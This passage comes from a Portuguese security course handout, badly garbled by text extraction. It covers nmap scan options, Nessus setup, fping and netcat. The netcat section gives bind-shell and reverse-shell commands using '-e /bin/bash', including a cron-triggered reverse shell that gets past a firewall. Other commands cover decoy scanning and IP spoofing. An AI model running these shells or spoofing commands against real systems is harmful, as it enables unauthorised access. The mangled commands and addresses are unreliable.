a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net 